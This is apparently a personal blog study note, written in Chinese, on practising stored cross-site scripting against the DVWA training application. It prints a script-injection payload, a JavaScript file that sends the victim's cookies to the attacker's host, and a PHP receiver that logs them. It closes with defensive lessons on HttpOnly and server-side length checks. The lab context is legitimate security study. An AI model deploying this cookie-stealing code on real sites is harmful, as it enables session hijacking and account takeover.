Web安全測試學習筆記-DVWA-存儲型XSS

XSS(Cross-Site Scripting)大致分爲反射型和存儲型兩種,之前對XSS的認知僅停留在如果網站輸入框沒有屏蔽類似<script>alert('ok')</script>的代碼,那麼這個網站就有被XSS攻擊的風險,到底有什麼風險呢?又是怎麼被攻擊的呢?sorry,我也不知道>_<

 

我用DVWA來練習存儲型XSS,目標是竊取用戶賬號(通過拿到對方的登錄cookie)。我在本機再開一臺虛擬機,用虛擬機(模擬另一個用戶)訪問:http://IP地址/dvwa/vulnerabilities/xss_s/。這個頁面是不是很像留言或者評論頁面~

 

security level = low

1.  在本機登錄(模擬攻擊方),輸入時發現Name做了長度限制,而Message沒有,所以攻擊點在Message的輸入框

     輸入:<script src="http://172.24.107.155/test.js"></script>

     

     

     刷新一下當前頁面,剛插入的記錄仍然存在,說明惡意代碼已經被“存儲”在這個頁面了~

2. 在本機的php服務下放入js代碼文件和php文件。

   js文件用來在被攻擊方採集cookie並傳入php頁面,php頁面將cookie存入名爲cookies的文件中。

   test.js文件內容:

var img = document.createElement("img")
img.src = "http://本機ip地址/test.php?cookies="+escape(document.cookie);
document.body.appendChild(img);

  test.php文件內容:

<?php
$cookie = $_GET["cookies"];error_log($cookie ."". "\n",3,"cookies");
?>

3. 在虛擬機登錄(模擬被攻擊方),訪問剛纔的頁面:http://IP地址/dvwa/vulnerabilities/xss_s/,被攻擊方也能看到剛纔上傳的那條記錄(此時js代碼已經被執行了..>_<..):

4. 獲得登錄憑證

    攻擊方此時啥也不用再幹,守株待兔,等着js吧cookie發送到本機後,到剛纔放入test.js和test.php文件的地方,會發現多了一個名爲cookies的文件~

    

     打開cookies文件,裏面記錄了被攻擊方的登陸cookie:

    

    拿到對方的登錄憑證之後,我們就能通過構造http請求(把對方的cookie傳進去),以對方的身份操作網站,如果對方的是admin的話,Hmm......

 

security level = medium/high

medium和high模式下,對Message做了輸入過濾,對name只替換了<script>,並加上了長度限制,使用Burp Suite抓包把name的輸入改爲如下即可

 

一點點感悟:

1. 通過腳本讀取cookie其實很好防禦,加上HttpOnly就好了>_<

2. 參數的長度校驗前後端都要做,只做前端等於沒做。。。

 

如需轉載,請註明出處,這是對他人勞動成果的尊重~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章